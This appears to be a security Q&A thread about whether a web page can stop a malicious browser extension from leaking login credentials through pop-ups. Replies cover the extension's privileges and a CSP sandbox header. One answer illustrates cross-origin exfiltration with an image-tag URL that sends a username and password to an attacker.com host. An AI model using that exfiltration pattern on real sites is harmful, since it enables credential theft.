When a user enters his credentials in the login form of a web application, the credentials can be hacked through a malicious extension (that the user has installed). Now, suppose the malicious extension wants to pass the hacked credentials to the attacker's server, it is prevented through the Same-origin policy of the web. However, another way of passing the credentials to the attacker's server is through a pop up window where the captured details can be parsed in the URL and passed to the attacker's server. The window can be closed immediately. Even though the possibility of such an attack is very minimal and can be easily seen by the user, it cannot be denied that it is not impossible. On an average, it just takes 1.5 seconds to open and close a pop up where the credentials can be passed to the attacker. And if suppose the pop up window is very small and is configured to launch at a side of the screen, the user will be having no idea about this attack at all.

But, if the web pages had a method to prevent the pop ups from appearing, this attack can be prevented. So, I would like to know whether there are possibilities to block the Pop-Ups from appearing using Javascript.

  • you want to know how a legitimate web site can block a browser extension from generating a pop-up window?
    – schroeder
    Jun 7, 2017 at 14:13
  • 2
    If your code is running on a web page, any code running in an extension can override anything you do, including anything you might do to block it. The extension probably isn't affected by same-origin policy either - it's considered a trusted party, just like the browser.
    – Matthew
    Jun 7, 2017 at 14:14
  • how does SOP apply to a browser extension?
    – schroeder
    Jun 7, 2017 at 14:14
  • the google and chrome tags do not apply
    – schroeder
    Jun 7, 2017 at 14:15
  • 1
    Your web page cannot suppress browser extensions interacting with the DOM.
    – iainpb
    Jun 7, 2017 at 14:18

2 Answers 2


No, it is not possible to prevent popups from within Javascript.

Now, suppose the malicious extension wants to pass the hacked credentials to the attacker's server, it is prevented through the Same-origin policy of the web.

This is not correct. Sending data cross-origin is always possible. For example, you can put an image tag on the page with Javascript that has an URL like http://attacker.com/?username=foo&password=hunter2.

In general, browser extensions have more permissions and privileges than Javascript running on a page, so there is not much you can do from the page to protect against malicious extensions.

  • window.open=Number; now try to launch a popup. it can still be done with a hidden iframe, but what script tries to do that targeted circumvention?
    – dandavis
    Jun 7, 2017 at 20:10

A secure way to block popups is to specify a sandbox using the content security policy header.

Content-Security-Policy: sandbox allow-scripts;

In sandbox mode a lot of functionality is disabled, including popups:

allow-popups: Allows popups (like from window.open, target="_blank", showModalDialog). If this keyword is not used, that functionality will silently fail.

  • This is set by the client, not set by the site, though
    – schroeder
    Jun 8, 2017 at 6:49
  • @schroeder I am not sure what you mean. Do you mean that Content-Security-Policy is a request header? Or that the sandbox is implemented on the client?
    – Sjoerd
    Jun 8, 2017 at 7:10

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .